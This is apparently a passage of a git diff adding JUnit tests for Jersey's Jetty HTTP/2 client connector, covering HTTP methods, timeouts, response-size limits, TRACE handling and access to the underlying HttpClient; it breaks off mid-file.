+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @POST
+        public String post(String entity) {
+            return entity;
+        }
+
+        @PUT
+        public String put(String entity) {
+            return entity;
+        }
+
+        @PATCH
+        public String patch(String entity) {
+            return entity;
+        }
+
+        @DELETE
+        public String delete() {
+            return "DELETE";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().get().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPut() {
+        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPutAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDelete() {
+        Response response = target(PATH).request().delete();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDeleteAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().delete().get();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPatch() {
+        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+        assertEquals("PATCH", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testOptionsWithEntity() {
+        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+        assertEquals(200, response.getStatus());
+        response.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
new file mode 100644
index 0000000..1c14296
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+public class NoEntityTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public Response get() {
+            return Response.status(Response.Status.CONFLICT).build();
+        }
+
+        @POST
+        public void post(String entity) {
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+        }
+    }
+
+    @Test
+    public void testPostWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+            cr.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..e3b2c3d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class SyncResponseSizeTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+    @Path("/test")
+    public static class TimeoutResource {
+
+        private static final byte[] data = new byte[maxBufferSize];
+
+        static {
+            Byte b = "a".getBytes()[0];
+            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+        }
+
+        @GET
+        @Path("/small")
+        public String getSmall() {
+            return "GET";
+        }
+
+        @GET
+        @Path("/big")
+        public String getBig() {
+            return new String(data);
+        }
+
+        @GET
+        @Path("/verybig")
+        public String getVeryBig() {
+            return new String(data) + "a";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testDefaultSmall() {
+        Response r = target("test/small").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDefaultTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/big").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            Response r = t.path("test/big").request().get();
+            String p = r.readEntity(String.class);
+            assertEquals(p.length(), maxBufferSize);
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/verybig").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
new file mode 100644
index 0000000..59f242e
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+    @Path("/test")
+    public static class TimeoutResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("timeout")
+        public String getTimeout() {
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            return "GET";
+        }
+
+        /**
+         * Long-running streaming request
+         *
+         * @param count number of packets send
+         * @param pauseMillis pause between each packets
+         */
+        @GET
+        @Path("stream")
+        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+                                         @QueryParam("pauseMillis") int pauseMillis) {
+            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+            return Response.ok(streamingOutput)
+                    .build();
+        }
+    }
+
+    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+        return output -> {
+            try {
+                TimeUnit.MILLISECONDS.sleep(startMillis);
+            }
+            catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+            output.flush();
+            for (int i = 0; i < count; i++) {
+                try {
+                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
+                }
+                catch (InterruptedException e) {
+                    Thread.currentThread().interrupt();
+                }
+
+                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+                output.flush();
+            }
+            output.write("end".getBytes(StandardCharsets.UTF_8));
+        };
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testFast() {
+        Response r = target("test").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testSlow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testTimeoutInRequest() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        final Response response = target("test")
+                .property(ClientProperties.READ_TIMEOUT, 100L)
+                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                .path("stream")
+                .queryParam("count", count)
+                .queryParam("pauseMillis", pauseMillis)
+                .request().get();
+
+        assertTrue(response.readEntity(String.class).contains("end"));
+    }
+
+    @Test
+    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+
+            fail("This operation should trigger total timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+        int start = 150;
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(ClientProperties.READ_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("start", start)
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+            fail("This operation should trigger idle timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
new file mode 100644
index 0000000..4bf0bda
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+    /**
+     * Programmatic tracing root resource path.
+     */
+    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+    /**
+     * Annotated class-based tracing root resource path.
+     */
+    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+    @HttpMethod(TRACE.NAME)
+    @Target(ElementType.METHOD)
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface TRACE {
+        public static final String NAME = "TRACE";
+    }
+
+    @Path(ROOT_PATH_ANNOTATED)
+    public static class TracingResource {
+
+        @TRACE
+        @Produces("text/plain")
+        public String trace(Request request) {
+            return stringify((ContainerRequest) request);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TracingResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+            @Override
+            public Response apply(ContainerRequestContext request) {
+                if (request == null) {
+                    return Response.noContent().build();
+                } else {
+                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+                }
+            }
+        });
+
+        return config.registerResources(resourceBuilder.build());
+
+    }
+
+    private String[] expectedFragmentsProgrammatic = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+    };
+    private String[] expectedFragmentsAnnotated = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+    };
+
+    private WebTarget prepareTarget(String path) {
+        final WebTarget target = target();
+        target.register(LoggingFeature.class);
+        return target.path(path);
+    }
+
+    @Test
+    public void testProgrammaticApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsProgrammatic) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testAnnotatedApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsAnnotated) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testTraceWithEntity() throws Exception {
+        _testTraceWithEntity(false, false);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntity() throws Exception {
+        _testTraceWithEntity(true, false);
+    }
+
+    @Test
+    public void testTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(false, true);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(true, true);
+    }
+
+    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+        try {
+            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+            target = target.path(ROOT_PATH_ANNOTATED);
+
+            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+            Response response;
+            if (!isAsync) {
+                response = target.request().method(TRACE.NAME, entity);
+            } else {
+                response = target.request().async().method(TRACE.NAME, entity).get();
+            }
+
+            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+        } catch (Exception e) {
+            // OK
+        }
+    }
+
+    private Client getJettyClient() {
+        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+    }
+
+
+    public static String stringify(ContainerRequest request) {
+        StringBuilder buffer = new StringBuilder();
+
+        printRequestLine(buffer, request);
+        printPrefixedHeaders(buffer, request.getHeaders());
+
+        if (request.hasEntity()) {
+            buffer.append(request.readEntity(String.class)).append("\n");
+        }
+
+        return buffer.toString();
+    }
+
+    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+    }
+
+    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+            List<String> val = e.getValue();
+            String header = e.getKey();
+
+            if (val.size() == 1) {
+                buffer.append(header).append(": ").append(val.get(0)).append("\n");
+            } else {
+                StringBuilder sb = new StringBuilder();
+                boolean add = false;
+                for (String s : val) {
+                    if (add) {
+                        sb.append(',');
+                    }
+                    add = true;
+                    sb.append(s);
+                }
+                buffer.append(header).append(": ").append(sb.toString()).append("\n");
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..29efcba
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.ClientConfig;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+    /**
+     * Verifier of JERSEY-2424 fix.
+     */
+    @Test
+    public void testHttpClientInstanceAccess() {
+        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+        final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
+        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+        // connector provider's static getHttpClient method above.
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+    }
+
+    @Test
+    public void testGetProvidedClientInstance() {
+        final HttpClient httpClient = new HttpClient();
+        final ClientConfig clientConfig = new ClientConfig()
+                .connectorProvider(new JettyHttp2ConnectorProvider())
